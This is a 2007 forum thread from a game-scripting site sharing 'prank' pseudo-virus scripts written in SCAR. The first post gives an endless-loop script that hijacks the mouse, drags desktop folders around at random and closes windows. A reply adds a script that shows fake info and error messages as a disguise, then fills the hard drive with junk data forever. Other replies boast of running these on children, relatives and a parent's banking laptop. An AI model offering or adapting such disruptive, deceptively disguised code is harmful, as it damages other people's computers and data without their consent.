Adblock breaks this site

[Non RS] Fun Prank/Psuedo Virus made in SCAR!

Discussion in 'Outdated RS Scripts' started by ZamorakianFaith, Jun 22, 2007.

Thread Status:
Not open for further replies.
  1. ZamorakianFaith

    ZamorakianFaith Forum Addict
    Banned

    Joined:
    Apr 28, 2005
    Posts:
    406
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    well..... yeah. I was bored at my friends house and I decided to freak him out. I hope you guys have fun.... or even make your own versions. Its very simple.

    basically it loops this sequence of events:

    1..drags and drops folders from your desktop randomly and opens folders etc...
    2..Mouse freezes....
    3..activity stops until mouse is moved
    4..cursor moves randomly when the mouse is touched- double clicking on it's end location.
    5.. closes all open windows


    Code:
    program FuXor;
    var
    t,x,y,p,q:integer;
    
    procedure a;
    begin
    t:=0
    repeat
    t:=t+1
    findcolor(x,y,10420223,0,0,5000,5000)
    holdmouse(x,y,true)
    movemouse(random(1000),random(1000))
    releasemouse(x,y,true)
    until(t=20)
    end;
    
    procedure b;
    begin
    t:=0
    findcolor(x,y,16777215,0,598,5000,5000)
    repeat
    t:=t+1
    clickmouse(x,y,false)
    until(t=10000)
    end;
    
    
    procedure MMouse(dx,dy:Integer);
    var
      x,y,xx, yy, math,rx,ry: Integer;
      Step:Extended;
    begin
    rx:=0
    ry:=0
      step:=4;
      xx:=random(rx);yy:=random(ry);
      math:=Random(4)+1;
      case math of
        1: begin dx:=dx+xx; dy:=dy+yy; end;
        2: begin dx:=dx-xx; dy:=dy+yy; end;
        3: begin dx:=dx+xx; dy:=dy-yy; end;
        4: begin dx:=dx-xx; dy:=dy-yy; end;
      end;
      GetMousePos(x,y);
      repeat
        if(Distance(x,y,dx,dy)<100)then
          if(not(Distance(x,y,dx,dy)=0))then
            step:=step-(10/Distance(x,y,dx,dy));
        if(step<1)then
          step:=1;
        x:=x+Round((dx-x)/step);
        y:=y+Round((dy-y)/step);
        MoveMouse(x,y);
        Wait(10);
      until(Distance(x,y,dx,dy)=0);
    end;
    
    procedure c;
    begin
    t:=0
    repeat
    getmousepos(x,y)
    repeat
    getmousepos(p,q)
    until((x=p)=false)
    mmouse(random(1000),random(1000))
    wait(100)
    getmousepos(x,y)
    clickmouse(x,y,true)
    clickmouse(x,y,true)
    t:=t+1
    until(t=10)
    end;
    
    procedure d;
    begin
    t:=0
    repeat
    if (findcolor(x,y,4353237,0,0,5000,5000) or findcolor(x,y,10461118,0,0,5000,5000))=  true then
    clickmouse(x,y,true)
    t:=t+1
    until(t=5)
    end;
    
    
    procedure startfuxination;
    begin
    a
    b
    c
    d
    end;
    
    begin
    repeat
    startfuxination
    until(false)
    end.
    
    

    (mmouse & distance procedures ripped from rsci.scar)
     
  2. pker overkil

    pker overkil Forum Addict

    Joined:
    Feb 11, 2007
    Posts:
    387
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    lol i did it to my friends. they freaked out.
     
  3. bb3377

    bb3377 Guest

    Referrals:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    LMAO that is so cooool I did it to my brother he almost cried lol
     
  4. Account4u

    Account4u Active Member

    Joined:
    Jan 26, 2007
    Posts:
    100
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Lmfao
     
  5. ~trippin~

    ~trippin~ Forum Addict
    Banned

    Joined:
    Jun 8, 2007
    Posts:
    343
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    rofl what does it do?
     
  6. nontitle

    nontitle Member

    Joined:
    Aug 20, 2005
    Posts:
    56
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Wow, this looks hilarious! I can't put it on anyone else's computer though...
     
  7. ZamorakianFaith

    ZamorakianFaith Forum Addict
    Banned

    Joined:
    Apr 28, 2005
    Posts:
    406
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    i can make it in vb as an .exe.... but then it might as well be a trojan.
     
  8. abcdef

    abcdef Active Member
    Banned

    Joined:
    Mar 6, 2007
    Posts:
    144
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Zamorakianfaith, if you can still stop it then it would be cool :p
     
  9. Jethr0x

    Jethr0x Grand Master
    Banned

    Joined:
    Jan 24, 2007
    Posts:
    3,070
    Referrals:
    13
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    LMAO, i made my cousin cry (hes 16).. I told him it was a virus from some porn download he did... lol so funny... rofl.. gj
     
  10. ZamorakianFaith

    ZamorakianFaith Forum Addict
    Banned

    Joined:
    Apr 28, 2005
    Posts:
    406
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    yeah in VB i could make hotkeys to start/stop it... I'll work on it when I have nothing better to do. (prob never lol.)
     
  11. the scar noob

    the scar noob Forum Addict

    Joined:
    Jan 21, 2007
    Posts:
    620
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    lol you seem to be bored :)
     
  12. Great

    Great Member

    Joined:
    Aug 20, 2007
    Posts:
    57
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Man i did it on my moms banking laptop she was mad as hell :p
     
  13. lordy boy

    lordy boy Apprentice

    Joined:
    Feb 1, 2007
    Posts:
    986
    Referrals:
    1
    Sythe Gold:
    43
    Discord Username:
    lordy boy
    Two Factor Authentication User
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Lol, i did it to myself, funny shit there :p
    Good job
     
  14. shawnske

    shawnske Forum Addict
    Banned

    Joined:
    Jul 27, 2007
    Posts:
    333
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    man I did it to my sister she is 11 and he was flipping out lol
     
  15. DarkOmega

    DarkOmega Forum Addict

    Joined:
    Jan 25, 2007
    Posts:
    329
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Haha did that to myself, classic stuff there :p
     
  16. Colauge

    Colauge Apprentice
    Banned

    Joined:
    Apr 29, 2007
    Posts:
    790
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    Hahahahah
    Man Make It VB Ill Love You
     
  17. Gofez0r

    Gofez0r Guru

    Joined:
    Jan 21, 2007
    Posts:
    1,820
    Referrals:
    1
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    I suggest adding GetSelf.hide; so it'll hide the SCAR window. Also you should be able to stop it by pressing the stop script hotkey :p

    Oh, and I made my own "SCAR virus" kinda thingie.. Like 2 mins of work there.

    Code:
    //Just fills your hard drive with thrash.
    //Useful to the max.
    program Lool;
    
    procedure Trash;
    var
      Dex: string;
      Ran: Integer;
      OFF: Integer;
    begin
      ClearDebug;
      Ran:=Random(1000);
      Dex:=' Buttsecks? ';
      GetApplication.MessageBox('The script needs to create a file to keep log of randoms and such.', 'INFO', 0);
      GetApplication.MessageBox('SO DO NOT DECLINE IT WHEN IT CREATES THE TEXT FILE!', 'Remember.', 0);
      GetApplication.MessageBox('Theres also a number after the name of randomlog, so u can have multiple logs without deletion.', 'Moar info =).', 0);
      Dex:=Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex;
      Dex:=Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex+Dex;
      OFF:= RewriteFile(AppPath + 'RandomLog'+IntToStr(Ran)+'.txt', False); // Random number in the name.
      if(OFF > -1)then   //So if after crashing the person tries again.. There just comes a new file.
      begin
        GetApplication.MessageBox('There was a error.. Script needs to close. Sorry!', 'Error!', 0);
    //    GetSelf.Hide; // Uncomment GetSelf.Hide so it hides from the screen.
        repeat
          WriteFileString(OFF, Dex); // Write more and more trash..
        until(False) //Forever.
      end;
    end;
    
    begin
      Trash;
    end.
    
    
    That thing also has a "disguise" :p
     
  18. xp z

    xp z Member

    Joined:
    Sep 3, 2007
    Posts:
    53
    Referrals:
    0
    Sythe Gold:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    lmao sweet!
     
  19. pfft

    pfft Guest

    Referrals:
    0
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    its gets so annoying when you want to stop it..
     
  20. Alex k

    Alex k Guru
    $25 USD Donor

    Joined:
    Mar 2, 2007
    Posts:
    1,312
    Referrals:
    0
    Sythe Gold:
    72
    [Non RS] Fun Prank/Psuedo Virus made in SCAR!

    LMAO, funniest script I have ever seen. Thanks for making it, will use it :).
     
< auto abuser by denial | core talk by denial >
Thread Status:
Not open for further replies.


 
 
Adblock breaks this site